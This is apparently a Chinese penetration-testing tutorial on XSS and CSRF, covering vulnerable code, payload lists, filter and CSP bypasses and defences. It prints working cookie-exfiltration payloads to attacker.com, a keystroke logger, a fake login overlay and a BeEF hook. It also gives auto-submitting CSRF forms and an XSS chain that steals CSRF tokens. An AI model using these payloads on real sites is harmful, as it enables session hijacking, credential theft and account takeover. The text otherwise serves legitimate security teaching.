渗透测试中的 XSS 与 CSRF???

XSS 与 CSRF 指南

声明:本文仅供安全学习使用。未经授权对任何系统实施攻击均属违法行为,后果自负。


目录

第一部分:XSS(跨站脚本攻击)

  1. XSS 概述
  2. 反射型 XSS
  3. 存储型 XSS
  4. DOM 型 XSS
  5. XSS 常用 Payload
  6. XSS 过滤绕过
  7. XSS 实战利用
  8. XSS 防御

第二部分:CSRF(跨站请求伪造)

  1. CSRF 概述
  2. CSRF 攻击类型
  3. CSRF Token 绕过
  4. CSRF 结合 XSS
  5. CSRF 防御

第一部分:XSS(跨站脚本攻击)


1. XSS 概述

1.1 什么是 XSS

XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者将恶意脚本注入到受信任的网页中,当其他用户访问该页面时,恶意脚本在用户浏览器中执行。

为什么缩写是 XSS 而不是 CSS? 因为 CSS 已经被 Cascading Style Sheets(层叠样式表)占用,为避免混淆,跨站脚本攻击的缩写用了 XSS。

一句话理解: 攻击者把 JavaScript 代码"注入"进了网页,受害者的浏览器打开这个页面时,就会在受害者不知情的情况下执行这段代码。

1.2 为什么会产生 XSS

根本原因是:程序把用户输入直接拼接进了 HTML 页面,没有做任何转义处理。

举个例子,一个搜索功能:

// 后端代码
$keyword = $_GET['keyword'];
echo "<p>您搜索的关键词是:" . $keyword . "</p>";

正常情况下,用户输入 hello,页面输出:

<p>您搜索的关键词是:hello</p>

但如果用户输入 <script>alert(1)</script>,页面输出就变成:

<p>您搜索的关键词是:<script>alert(1)</script></p>

浏览器解析到 <script> 标签,直接执行其中的 JavaScript,弹出对话框。这就是最基础的 XSS。

1.3 XSS 的危害

  • Cookie 劫持: 窃取用户的会话 Cookie,冒充用户身份登录
  • 键盘记录: 监听用户输入,窃取账号密码
  • 钓鱼攻击: 篡改页面内容,伪造登录框骗取凭证
  • 恶意重定向: 把用户跳转到恶意网站
  • 蠕虫传播: 存储型 XSS 可以让每个访问页面的用户自动再次发布恶意内容,形成蠕虫
  • 结合 CSRF: 用 XSS 绕过 CSRF 防御,执行跨站请求(详见第 12 节)

1.4 XSS 的三种类型

类型 特征 持久性 触发方式
反射型(Reflected) payload 在 URL 参数中,服务端反射回响应 非持久 诱使受害者点击恶意链接
存储型(Stored) payload 存入数据库,所有访问者都受影响 持久 受害者正常访问页面即触发
DOM 型(DOM-based) payload 由客户端 JS 处理并写入 DOM,是否经过服务端取决于 Source 类型 非持久 诱使受害者点击恶意链接

1.5 浏览器同源策略(SOP)基础

理解 XSS 之前,需要了解同源策略(Same-Origin Policy)。同源策略规定:协议、域名、端口三者完全相同才算同源,非同源的页面之间不能互相读取 DOM、Cookie 等敏感资源。

XSS 之所以危险,正是因为它在目标网站自身的源下执行脚本,完全绕过了同源策略的限制——恶意代码是从合法域名发出的,浏览器当然信任它。


2. 反射型 XSS

2.1 原理

反射型 XSS 的 payload 存在于 URL 参数中,服务器把参数值"反射"回 HTML 响应,浏览器解析时执行脚本。

攻击流程:

  1. 攻击者构造含有恶意 payload 的 URL
  2. 通过邮件、社交媒体等方式诱使受害者点击
  3. 受害者浏览器请求该 URL,服务端返回含 payload 的页面
  4. 受害者浏览器执行恶意脚本

2.2 漏洞示例

漏洞代码(PHP):

<?php
$name = $_GET['name'];
echo "Hello, " . $name . "!";
?>

正常请求:

http://example.com/greet.php?name=Alice

响应:Hello, Alice!

恶意请求:

http://example.com/greet.php?name=<script>alert(document.cookie)</script>

响应:Hello, <script>alert(document.cookie)</script>!

2.3 寻找反射型 XSS

第一步:找所有回显点

所有能把用户输入反射到页面的地方都是候选点:

  • URL 参数:?keyword=xxx?id=xxx?page=xxx
  • 表单提交后的回显(搜索框、注册失败提示等)
  • 404/错误页面中包含 URL 路径的回显
  • HTTP Header 回显(User-Agent、Referer 被展示在页面上)

第二步:插入探针,观察回显

先插入一个无害的特殊字符组合,观察它出现在 HTML 的什么位置:

?name=xss_probe_<>"'

用浏览器"查看页面源代码",找到 xss_probe_ 的位置,判断上下文:

<!-- 情况1:直接在标签内容中 -->
<p>Hello, xss_probe_&lt;&gt;&quot;&#039;</p>      <!-- 被转义了,可能有防御 -->
<p>Hello, xss_probe_<>"'</p>                       <!-- 未转义,可直接注入 -->

<!-- 情况2:在标签属性中 -->
<input value="xss_probe_<>\"'">                    <!-- 在属性里,需要闭合属性 -->

<!-- 情况3:在 JavaScript 字符串中 -->
<script>var name = "xss_probe_<>\"'";</script>     <!-- 在 JS 里,需要闭合字符串 -->

第三步:根据上下文选择 payload

不同上下文,注入方式不同(详见第 5 节)。

2.4 反射型 XSS 的局限

反射型 XSS 的恶意 payload 直接写在 URL 里,明眼人一看 URL 就会怀疑。
现代浏览器(Chrome、Firefox、Safari)均已移除或从未实现内置 XSS 过滤器——Chrome 在 v78(2019年10月)禁用了 XSSAuditor,并在 v92(2021年7月)正式将其移除;Firefox 和 Safari 则从未实现过此类过滤器。因此,不应将浏览器内置过滤器视为任何有效的防线。

实际攻击中通常配合 URL 短链接、QR 码、或 URL 编码来混淆 payload。


3. 存储型 XSS

3.1 原理

存储型 XSS(也叫持久型 XSS)的 payload 被写入服务器数据库,之后所有访问受影响页面的用户都会触发攻击,危害远大于反射型。

攻击流程:

  1. 攻击者在评论、留言、个人简介等输入点提交恶意脚本
  2. 服务器未过滤,直接存入数据库
  3. 其他用户访问包含该内容的页面
  4. 服务器从数据库读取数据并渲染到 HTML
  5. 所有访问者的浏览器都执行了恶意脚本

3.2 漏洞示例

漏洞代码(PHP):

// 存储:直接把评论存进数据库
$comment = $_POST['comment'];
$sql = "INSERT INTO comments (content) VALUES ('$comment')";
mysqli_query($conn, $sql);

// 展示:直接把评论输出到页面
$result = mysqli_query($conn, "SELECT content FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
    echo "<div class='comment'>" . $row['content'] . "</div>";
}

攻击者提交评论:

<script>
  fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>

此后,每一个访问评论页面的用户,浏览器都会把自己的 Cookie 发送给攻击者的服务器。

3.3 常见存储型 XSS 注入点

  • 评论/留言系统:最经典的场景
  • 用户个人资料:昵称、个人简介、签名
  • 私信/站内消息:消息内容在对方查看时触发
  • 商品评价/订单备注:有时管理员后台展示时触发(打到管理员)
  • 文件名:上传文件时,文件名被展示在页面上
  • 富文本编辑器:允许 HTML 输入的场景,过滤不严时存在风险

3.4 存储型 XSS 的特殊危害:打到管理员后台

存储型 XSS 有一个特别有价值的攻击方向:在前台提交 payload,等管理员在后台查看时触发。

由于管理员通常拥有更高权限,一旦其 Cookie 被盗,攻击者可以:

  • 直接以管理员身份登录后台
  • 执行管理员操作(添加账号、修改配置、上传文件等)
  • 进一步深入内网

4. DOM 型 XSS

4.1 原理

DOM 型 XSS 与前两种有本质区别:payload 由客户端 JavaScript 代码处理并直接写入 DOM,触发 XSS。是否经过服务器取决于具体的 Source——以 location.hash(URL 中 # 后的部分)为 Source 时,payload 确实不会发送给服务器;但以 location.search(URL 中 ? 后的部分)为 Source 时,payload 同样会出现在服务端日志中。

对于基于 hash 的 DOM XSS,服务端日志和 WAF 确实无法看到 payload,是其相对隐蔽的原因之一。

4.2 漏洞示例

漏洞代码(JavaScript):

<div id="output"></div>
<script>
  // 从 URL hash 中读取数据,直接写入 DOM
  var name = location.hash.substring(1);  // 取 # 后面的内容
  document.getElementById('output').innerHTML = name;
</script>

恶意 URL:

http://example.com/page.html#<img src=x onerror=alert(1)>

# 后面的内容不会发送给服务器(这是 URL fragment 的特性),服务端完全看不到这个 payload。浏览器本地 JS 读取后直接写入 innerHTML,触发 XSS。

4.3 常见的危险 Source 和 Sink

DOM 型 XSS 的分析关键是找到"数据来源(Source)"和"危险输出(Sink)"。

常见 Source(数据来源):

document.URL              // 整个 URL
document.location         // 同上
document.location.href    // URL 字符串
document.location.search  // URL 中 ? 后面的部分
document.location.hash    // URL 中 # 后面的部分(不发送给服务器!)
document.referrer         // 来源页面 URL
window.name               // 窗口名称(跨页面传递数据时可被污染)

常见 Sink(危险输出点):

// 直接执行 HTML,最危险
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
document.writeln(userInput);

// 动态加载脚本
eval(userInput);
setTimeout(userInput, 1000);
setInterval(userInput, 1000);
new Function(userInput)();

// 改变 URL,如果 userInput 以 javascript: 开头会执行代码
location.href = userInput;
location.assign(userInput);

4.4 DOM 型 XSS 审计思路

  1. 找到页面中所有读取外部数据的 Source
  2. 追踪数据流向,找到这些数据最终写入了哪个 Sink
  3. 判断中间是否有过滤,过滤是否可以绕过

现代前端框架(React、Vue、Angular)默认对输出做转义,大幅减少了 DOM XSS。但如果开发者使用了 dangerouslySetInnerHTML(React)或 v-html(Vue),则重新引入了风险。


5. XSS 常用 Payload

5.1 基础验证 Payload

最简单的存活验证,弹一个对话框:

<script>alert(1)</script>
<script>alert('XSS')</script>
<script>alert(document.domain)</script>   <!-- 显示当前域名,确认执行上下文 -->
<script>alert(document.cookie)</script>   <!-- 显示 Cookie -->

5.2 不同 HTML 上下文的 Payload

根据 payload 落在 HTML 的位置,选择不同的注入方式:

① 直接在标签内容中(最简单):

<!-- 原始 HTML -->
<p>用户输入:[注入点]</p>

<!-- Payload -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

② 在 HTML 标签属性的双引号中:

<!-- 原始 HTML -->
<input value="[注入点]">

<!-- Payload:先闭合属性,再闭合标签,插入新标签 -->
"><script>alert(1)</script>
"><img src=x onerror=alert(1)>

<!-- 或直接在属性中插入事件(不用闭合标签)-->
" onmouseover="alert(1)
" onfocus="alert(1)" autofocus="

③ 在 HTML 标签属性的单引号中:

<!-- 原始 HTML -->
<input value='[注入点]'>

<!-- Payload -->
'><script>alert(1)</script>
' onmouseover='alert(1)

④ 在 JavaScript 字符串中(双引号):

<!-- 原始 HTML -->
<script>var name = "[注入点]";</script>

<!-- Payload:闭合字符串,再插入新语句 -->
";alert(1)//
"-alert(1)-"

⑤ 在 JavaScript 字符串中(单引号):

<!-- 原始 HTML -->
<script>var name = '[注入点]';</script>

<!-- Payload -->
';alert(1)//
'-alert(1)-'

⑥ 在 href / src 属性中:

<!-- 原始 HTML -->
<a href="[注入点]">点击</a>

<!-- Payload:javascript: 伪协议 -->
javascript:alert(1)
javascript:void(alert(1))

5.3 不依赖 <script> 标签的 Payload

很多过滤器会直接过滤 <script> 标签,但 XSS 并不一定需要它:

<!-- 利用事件属性 -->
<img src=x onerror=alert(1)>
<img src=x onerror="alert(1)">
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

<!-- SVG(支持事件和脚本)-->
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>

<!-- details 标签 -->
<details open ontoggle=alert(1)>

<!-- marquee(老式,部分浏览器支持)-->
<marquee onstart=alert(1)>

验证 XSS 存活后,真实利用通常是窃取 Cookie:

<!-- 方式1:img 标签带外 -->
<script>
new Image().src = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie);
</script>

<!-- 方式2:fetch 带外 -->
<script>
fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie));
</script>

<!-- 方式3:XHR 带外 -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie));
xhr.send();
</script>

<!-- 方式4:document.location 跳转带外(会让受害者跳走,比较明显)-->
<script>
document.location = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie);
</script>

⚠️ 实战注意: 如果目标 Cookie 设置了 HttpOnly 标志,JavaScript 无法读取 document.cookie,上述方式会得到空值。此时需要换思路,例如直接用 XSS 发起请求(CSRF),而不是窃取 Cookie(详见第 12 节)。


6. XSS 过滤绕过

6.1 大小写绕过

HTML 标签和属性对大小写不敏感:

<SCRIPT>alert(1)</SCRIPT>
<Script>alert(1)</Script>
<sCrIpT>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>

6.2 标签闭合与嵌套绕过

部分过滤器用正则简单替换 <script>,可以用嵌套欺骗:

<!-- 过滤器把 <script> 替换为空,嵌套后剩下完整标签 -->
<scr<script>ipt>alert(1)</scr</script>ipt>

6.3 属性间空白符绕过

标签属性之间可以用多种空白符(部分过滤器只处理普通空格):

<img/src=x/onerror=alert(1)>        <!-- / 替代空格 -->
<img	src=x	onerror=alert(1)>    <!-- Tab 替代空格 -->
<img
src=x
onerror=alert(1)>                    <!-- 换行替代空格 -->

6.4 HTML 实体编码绕过

在属性值和标签内容中,HTML 实体会被浏览器自动解码,可以用来绕过字符过滤:

<!-- 在属性中用 HTML 实体编码 -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
<!-- &#97; = a, &#108; = l ... 解码后是 alert(1) -->

<!-- 十六进制实体 -->
<img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">

6.5 JavaScript 编码绕过

<script> 标签或事件属性中,可以用 JavaScript 字符串转义:

// 用 \u Unicode 转义
<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')</script>
// \u0061 = 'a', \u006c = 'l' ... 拼起来是 alert

// 用 \x 十六进制转义
<script>\x61\x6c\x65\x72\x74(1)</script>

// 用八进制(仅在字符串中有效)
<script>eval('\141\154\145\162\164\50\61\51')</script>

6.6 URL 编码绕过(href/src 场景)

href 属性中使用 javascript: 协议时,浏览器会先 URL 解码再执行:

<a href="javascript:%61%6c%65%72%74%28%31%29">点击</a>
<!-- URL 解码后:javascript:alert(1) -->

6.7 拆分 payload 绕过长度限制

有些场景有字符长度限制,可以把 payload 拆分存储后再拼接执行:

<!-- 分多次写入 -->
<script>var a='ale'</script>
<script>var b='rt(1)'</script>
<script>eval(a+b)</script>

6.8 利用注释符绕过

<!-- HTML 注释不影响属性解析 -->
<img src=x o<!---->nerror=alert(1)>

<!-- 在 IE 中,条件注释可以执行代码(现代浏览器已不支持)-->
<!--[if IE]><script>alert(1)</script><![endif]-->

6.9 利用标签容错绕过

浏览器的 HTML 解析器非常宽容,即使 HTML 不完整也会尽力渲染:

<!-- 不闭合的标签 -->
<img src=x onerror=alert(1)      <!-- 没有 > 也可能触发 -->
<script>alert(1)                  <!-- 没有 </script> 也可能执行 -->

<!-- 属性值不加引号 -->
<img src=x onerror=alert(1)>

6.10 CSP 绕过简介

CSP(Content Security Policy,内容安全策略)是对抗 XSS 的重要防线,通过 HTTP 响应头限制页面可以加载的脚本来源。

Content-Security-Policy: script-src 'self'

即便如此,配置不当的 CSP 仍可被绕过,常见场景:

① CSP 允许 unsafe-inline 直接执行内联脚本,等于没有防护。

② CSP 白名单域名过宽: 如果白名单包含 https://cdn.example.com,而攻击者能在该 CDN 上传文件,就可以加载恶意脚本。

③ JSONP 接口绕过: 如果 CSP 白名单域名上有 JSONP 接口,可以利用 JSONP 的 callback 参数注入代码:

<script src="https://allowed.com/jsonp?callback=alert(1)//"></script>

script-src 'nonce-xxx' 如果 nonce 值可预测或者被泄露,可以伪造合法 nonce。


7. XSS 实战利用

7.1 搭建接收服务器

在实战中,需要一台公网服务器来接收窃取的数据。最简单的方式:

# 用 Python 起一个简单的 HTTP 服务,把所有请求记录到终端
python3 -m http.server 8888

# 也可以用 nc 监听
nc -lvnp 8888

更专业的做法是使用 XSS 平台(如 XSS Hunter),可以自动捕获 Cookie、页面截图、浏览器信息等。

① 搭好接收服务器,记录好公网 IP/域名

② 在存在 XSS 的页面注入 payload:

<script>
(function(){
    var img = new Image();
    img.src = 'http://your-server:8888/?cookie=' + encodeURIComponent(document.cookie)
              + '&url=' + encodeURIComponent(document.URL)
              + '&ua=' + encodeURIComponent(navigator.userAgent);
})();
</script>

③ 等待受害者触发,在接收服务器查看日志:

GET /?cookie=PHPSESSID%3Dabc123%3B%20admin%3D1&url=...&ua=... HTTP/1.1

④ 用窃取的 Cookie 冒充受害者:

在浏览器中打开目标网站,通过开发者工具(F12)→ Application → Cookies,手动修改 Cookie 值为窃取到的值,然后刷新页面,即可以受害者身份登录。

7.3 XSS 键盘记录器

在没有 HttpOnly 保护时,Cookie 劫持是首选;但也可以直接记录用户在页面上的输入:

<script>
(function(){
    var log = '';
    document.addEventListener('keydown', function(e){
        log += e.key;
        // 每积累 20 个字符就发送一次
        if(log.length >= 20){
            new Image().src = 'http://your-server:8888/?k=' + encodeURIComponent(log);
            log = '';
        }
    });
})();
</script>

7.4 XSS 钓鱼(伪造登录框)

通过 XSS 动态插入一个假的登录对话框,骗取用户输入账号密码:

<script>
document.body.innerHTML += `
<div id="fake-login" style="position:fixed;top:0;left:0;width:100%;height:100%;
     background:rgba(0,0,0,0.8);z-index:99999;display:flex;
     align-items:center;justify-content:center;">
  <div style="background:#fff;padding:30px;border-radius:8px;width:300px;">
    <h3>登录已超时,请重新登录</h3>
    <input id="fu" type="text" placeholder="用户名" style="width:100%;margin:8px 0;padding:8px;box-sizing:border-box;"><br>
    <input id="fp" type="password" placeholder="密码" style="width:100%;margin:8px 0;padding:8px;box-sizing:border-box;"><br>
    <button onclick="
      new Image().src='http://your-server:8888/?u='+encodeURIComponent(document.getElementById(\'fu\').value)
                      +'&p='+encodeURIComponent(document.getElementById(\'fp\').value);
      document.getElementById(\'fake-login\').remove();
    " style="width:100%;padding:10px;background:#007bff;color:#fff;border:none;border-radius:4px;cursor:pointer;">
      登录
    </button>
  </div>
</div>`;
</script>

7.5 BeEF 框架

BeEF(Browser Exploitation Framework)是专门用于 XSS 后利用的框架,通过在目标页面注入一个 hook 脚本,可以实现:

  • 实时控制受害者浏览器
  • 执行任意 JavaScript 命令
  • 探测受害者内网(通过 JavaScript 发起请求,受同源策略及浏览器 Private Network Access 规范限制,实际探测能力有限,仅能做基本的端口存活判断)
  • 浏览器指纹识别
  • 社会工程学攻击(弹窗、跳转)
  • 点击劫持

注入 hook:

<script src="http://your-beef-server:3000/hook.js"></script>

注入成功后,受害者浏览器会出现在 BeEF 的控制面板中,可以实时下发命令。


8. XSS 防御

8.1 输出转义(最核心)

根据数据输出的上下文,进行对应的转义:

HTML 内容转义(防止标签注入):

// PHP
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// 会转义 < > & " '
字符 转义结果
< &lt;
> &gt;
& &amp;
" &quot;
' &#039;

JavaScript 上下文转义:

如果必须把数据输出到 JS 字符串中,要对特殊字符做 JS 转义:

// 错误:直接拼接
echo '<script>var name = "' . $name . '";</script>';

// 正确:JSON 编码(最安全,自动处理所有特殊字符)
echo '<script>var name = ' . json_encode($name) . ';</script>';

URL 上下文转义:

// URL 参数值用 urlencode
echo '<a href="/search?q=' . urlencode($keyword) . '">链接</a>';
// HttpOnly:禁止 JavaScript 读取 Cookie
// Secure:仅通过 HTTPS 传输
// SameSite:限制跨站携带 Cookie(也用于防 CSRF)
setcookie('session', $token, [
    'httponly' => true,
    'secure'   => true,
    'samesite' => 'Strict',
]);

HttpOnly 是防止 XSS 窃取 Cookie 的关键——即使 XSS 注入成功,document.cookie 也读不到 HttpOnly Cookie。

8.3 Content Security Policy(CSP)

通过 HTTP 响应头部署 CSP,限制脚本来源:

# 只允许同源脚本,禁止内联脚本
Content-Security-Policy: script-src 'self'

# 使用 nonce,只允许带正确 nonce 的内联脚本
Content-Security-Policy: script-src 'nonce-随机值'
<!-- HTML 中对应写法 -->
<script nonce="随机值">alert(1)</script>

nonce 值每次请求必须随机生成,服务端和 HTML 中保持一致。

8.4 使用现代前端框架

React、Vue、Angular 默认对所有模板输出做 HTML 转义,大幅降低 XSS 风险。但需要避免绕过框架保护的危险写法:

// React:dangerouslySetInnerHTML 会绕过转义,仅在内容可信时使用
<div dangerouslySetInnerHTML={{ __html: userInput }} />   // ❌ 危险

// Vue:v-html 同理
<div v-html="userInput"></div>   // ❌ 危险

8.5 富文本的 XSS 防御

当确实需要允许用户输入 HTML(如富文本编辑器)时,不能简单转义,需要使用白名单过滤库:

  • DOMPurify(前端 JS,推荐):只保留白名单标签和属性,清除所有事件属性和危险内容
  • HTMLPurifier(PHP)
  • Bleach(Python)
// DOMPurify 使用示例
const clean = DOMPurify.sanitize(dirtyHTML);
document.getElementById('output').innerHTML = clean;

第二部分:CSRF(跨站请求伪造)


9. CSRF 概述

9.1 什么是 CSRF

CSRF(Cross-Site Request Forgery,跨站请求伪造)是指攻击者诱使已登录的用户访问恶意页面,该页面在用户不知情的情况下,以用户的身份向目标网站发送请求,执行用户不想做的操作。

一句话理解: 攻击者"借用"了受害者的登录状态,让浏览器自动携带 Cookie 发出请求,目标网站以为是用户本人操作,实际上是被攻击者控制的。

9.2 CSRF 与 XSS 的区别

这是新手最容易混淆的两个概念:

对比维度 XSS CSRF
攻击目标 用户的浏览器(注入并执行脚本) 目标网站(伪造用户请求)
利用的信任 用户对目标网站的信任 目标网站对用户浏览器的信任
需要用户登录 不一定 必须(利用已有的登录状态)
攻击者是否获取数据 通常会窃取数据 通常只执行操作,不获取响应
防御手段 输出转义、CSP CSRF Token、SameSite Cookie

9.3 CSRF 的成立条件

CSRF 成立需要同时满足三个条件:

  1. 用户已登录目标网站,浏览器中存有有效的会话 Cookie
  2. 目标网站的敏感操作只依赖 Cookie 验证身份,没有其他校验
  3. 用户访问了攻击者控制的恶意页面(或点击了恶意链接)

HTTP 协议是无状态的,网站通过 Cookie 来维持登录状态。浏览器的默认行为是:向某个域名发送请求时,自动附带该域名下所有有效的 Cookie,不管这个请求是用户主动发起的,还是被另一个页面"偷偷"触发的。

这就是 CSRF 能够成立的根本原因。


10. CSRF 攻击类型

10.1 GET 型 CSRF

场景: 目标网站用 GET 请求执行敏感操作(这本身就是不规范的做法,但实际中确实存在)。

漏洞示例:

# 目标网站:转账接口(非常糟糕的设计)
GET /transfer?to=alice&amount=1000 HTTP/1.1
Host: bank.example.com
Cookie: session=abc123

攻击页面(恶意网站):

<!-- 方法1:img 标签自动发起 GET 请求 -->
<img src="https://bank.example.com/transfer?to=attacker&amount=10000" style="display:none">

<!-- 方法2:隐藏的 iframe -->
<iframe src="https://bank.example.com/transfer?to=attacker&amount=10000" style="display:none"></iframe>

<!-- 方法3:页面加载时自动跳转 -->
<script>window.location='https://bank.example.com/transfer?to=attacker&amount=10000'</script>

受害者只要访问了攻击者的页面,浏览器就会向 bank.example.com 发起带有 Cookie 的 GET 请求,完成转账。

10.2 POST 型 CSRF

现代网站的修改操作通常使用 POST 请求,攻击者需要构造一个自动提交的表单:

攻击页面(自动提交表单):

<!DOCTYPE html>
<html>
<body>
  <form id="csrf-form" action="https://target.example.com/change-password" method="POST">
    <input type="hidden" name="new_password" value="hacked123">
    <input type="hidden" name="confirm_password" value="hacked123">
  </form>
  <script>
    // 页面加载后立即提交表单
    document.getElementById('csrf-form').submit();
  </script>
</body>
</html>

受害者访问这个页面的瞬间,表单就自动提交了,密码被悄悄修改。

10.3 JSON 型 CSRF

现代 API 往往使用 JSON 格式的 POST 请求,并要求 Content-Type: application/json

为什么 JSON 请求能防 CSRF?

HTML 表单只能发送 application/x-www-form-urlencodedmultipart/form-datatext/plain 三种 Content-Type。发送 application/json 需要使用 fetch/XMLHttpRequest,而跨域的 fetch/XHR 请求会触发浏览器的 CORS 预检(OPTIONS 请求),如果服务端没有配置 Access-Control-Allow-Origin,跨域请求会被浏览器拦截。

但是,Content-Type 检查并不是万能的防御:

  • 如果服务端忽略 Content-Type,直接解析请求体,则用表单 text/plain 也能尝试发送近似 JSON 格式的数据:
<form method="POST" action="https://api.example.com/update" enctype="text/plain">
  <!-- name 设为 JSON 的前缀,value 设为后缀,拼起来是合法 JSON -->
  <input type="hidden" name='{"username":"attacker","ignore":"' value='"}'>
</form>
<!-- 提交后 body 是:{"username":"attacker","ignore":"="} -->
<!-- 如果后端用宽松的 JSON 解析器,可能接受这个请求 -->

⚠️ 注意此手法的局限性: text/plain 表单编码会在 namevalue 之间强制插入一个 = 号,导致实际 body 中出现 "=" 这个键值对,严格的 JSON 解析器会直接报错拒绝。此绕过能否成功完全取决于后端解析器的容错程度,适用场景极窄,不是通用手法。

  • 如果 CORS 配置错误(如 Access-Control-Allow-Origin: *),跨域 fetch 请求可以正常发出并获得响应。

10.4 CSRF 漏洞的手工测试流程

  1. 登录目标网站,找到敏感操作(改密码、改邮箱、转账、删除数据等)
  2. 用 Burp Suite 抓包,分析请求的参数和特征
  3. 检查是否有 CSRF Token:
    • 请求体或请求头中是否有 tokencsrf_tokenX-CSRF-Token 等字段
    • 如果有,是否每次都变化
  4. 构造 CSRF PoC 页面(用 Burp Suite 的 "Generate CSRF PoC" 功能可以自动生成)
  5. 在另一个浏览器标签页中打开 PoC 页面,验证是否成功执行操作

11. CSRF Token 绕过

11.1 Token 缺失或未校验

最低级的问题:有 Token 字段但服务端根本没有验证。

测试方法: 抓包,直接删除请求中的 Token 参数,重放请求,看是否仍然成功。

# 原始请求
POST /change-email HTTP/1.1
[email protected]&csrf_token=abc123

# 删除 Token 后
POST /change-email HTTP/1.1
[email protected]

如果请求仍然成功 → Token 未验证,存在 CSRF 漏洞。

11.2 Token 可预测或固定

测试方法: 多次执行操作,比较每次 Token 的值是否变化,是否有规律。

  • Token 固定不变 → 攻击者登录自己账号获取 Token,直接用于 CSRF
  • Token 基于时间戳 → 可预测
  • Token 是 MD5(用户ID) 等弱算法 → 可推算

11.3 Token 和 Session 未绑定

正确的实现应该是:每个 Token 只对当前用户的当前 Session 有效。

测试方法: 用账号 A 登录,获取账号 A 的 Token,然后用这个 Token 构造 CSRF,攻击账号 B。

# 账号 A 的 Token(攻击者自己获取的)
csrf_token = token_of_account_A

# 用账号 B 的 Cookie + 账号 A 的 Token 发请求
POST /change-email HTTP/1.1
Cookie: session=session_of_account_B
[email protected]&csrf_token=token_of_account_A

如果请求成功 → Token 没有绑定到 Session,存在漏洞。

11.4 Referer 校验绕过

部分网站用 Referer 请求头来判断请求来源,校验逻辑不严格时可以绕过。

绕过方式1:Referer 为空

某些浏览器配置或隐私插件会不发送 Referer,服务端可能对空 Referer 直接放行:

<!-- 在恶意页面中加入 meta 标签,使浏览器不发送 Referer -->
<meta name="referrer" content="no-referrer">
<form action="https://target.com/action" method="POST">...</form>

绕过方式2:Referer 包含目标域名即通过

如果校验逻辑是 strpos($referer, 'target.com') !== false(只要包含就算合法):

# 攻击者把自己的域名设置为包含目标域名的子路径
https://attacker.com/target.com/csrf.html

绕过方式3:Referer 是目标域名开头即通过

如果校验逻辑是 strpos($referer, 'target.com') === 0(以目标域名开头):

# 注册一个以目标域名开头的域名(实际中比较难,仅作思路)
https://target.com.attacker.com/csrf.html

11.5 利用 XSS 绕过 CSRF Token

这是最有效的绕过方式:既然 Token 在页面中,用 XSS 把 Token 读出来,再附带 Token 发请求。

见第 12 节。


12. CSRF 结合 XSS

12.1 为什么 XSS 能绕过 CSRF 防御

CSRF Token 的防御逻辑是:攻击者从跨域页面无法读取目标域的 Token(受同源策略保护)。

但是,如果目标域存在 XSS,攻击者就可以在目标域的上下文中执行 JavaScript,完全突破同源策略,可以:

  • 直接读取页面 DOM 中的 CSRF Token
  • 用 Ajax 请求获取包含 Token 的页面,解析出 Token
  • 携带正确 Token 发送请求

12.2 攻击流程

完整利用链:

存在 XSS 的页面  →  注入脚本  →  读取 CSRF Token  →  携带 Token 发请求  →  操作成功

利用代码示例(修改邮箱):

<script>
// 第一步:获取包含 Token 的页面
fetch('/settings/email', {
    credentials: 'include'   // 携带 Cookie
})
.then(response => response.text())
.then(html => {
    // 第二步:从 HTML 中解析出 CSRF Token
    var parser = new DOMParser();
    var doc = parser.parseFromString(html, 'text/html');
    var token = doc.querySelector('input[name="csrf_token"]').value;

    // 第三步:携带 Token 发送修改请求
    var formData = new FormData();
    formData.append('email', '[email protected]');
    formData.append('csrf_token', token);

    return fetch('/settings/email', {
        method: 'POST',
        body: formData,
        credentials: 'include'
    });
})
.then(() => {
    // 悄悄把结果发给攻击者
    new Image().src = 'https://attacker.com/done';
});
</script>

12.3 关键细节

关于 credentials 的说明: 由于这段代码通过 XSS 注入,运行在目标域的上下文中,fetch 发出的是同域请求。同域请求的 credentials 默认值为 'same-origin',会自动携带 Cookie,因此严格来说 credentials: 'include' 在此场景是多余的。

但在实际编写利用代码时,显式写上 credentials: 'include' 是一个好习惯——当目标 API 恰好在另一个子域(如 api.example.com),而 XSS 发生在 www.example.com 时,请求变为跨域,此时若没有 credentials: 'include',Cookie 就不会被携带,利用会静默失败。显式声明可以避免这类疏漏。

为什么普通 CSRF 无法读响应,但 XSS 可以? 普通 CSRF 是跨域发请求,受同源策略限制,即使请求发出去了,JavaScript 也无法读取响应内容。而 XSS 注入的代码在目标域下执行,是"同域"请求,可以完整读取响应。


13. CSRF 防御

13.1 CSRF Token(最主流)

每次渲染包含敏感操作的表单时,生成一个随机的、与当前 Session 绑定的 Token,提交时验证。

正确实现要点:

  • Token 必须随机且足够长(至少 128 位,用密码学安全的随机数生成器)
  • Token 必须与当前用户的 Session 绑定,不能跨用户复用
  • Token 必须有时效,并与 Session 生命周期绑定;主流框架(Laravel、Django、Spring Security 等)的标准做法是整个 Session 期间复用同一个 Token,而非每次提交后立即失效——后者虽然理论上更安全,但会导致用户按返回键重试表单时直接失败,用户体验极差,实践中几乎不采用
  • 通过隐藏表单字段或自定义请求头传递,不要放在 Cookie 中(放在 Cookie 里和依赖 Cookie 没有区别)
// 生成 Token(服务端)
session_start();
if (empty($_SESSION['csrf_token'])) {
    // random_bytes(32) 生成 32 字节 = 256 位的随机数,超过 128 位的最低要求
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// 在表单中输出 Token
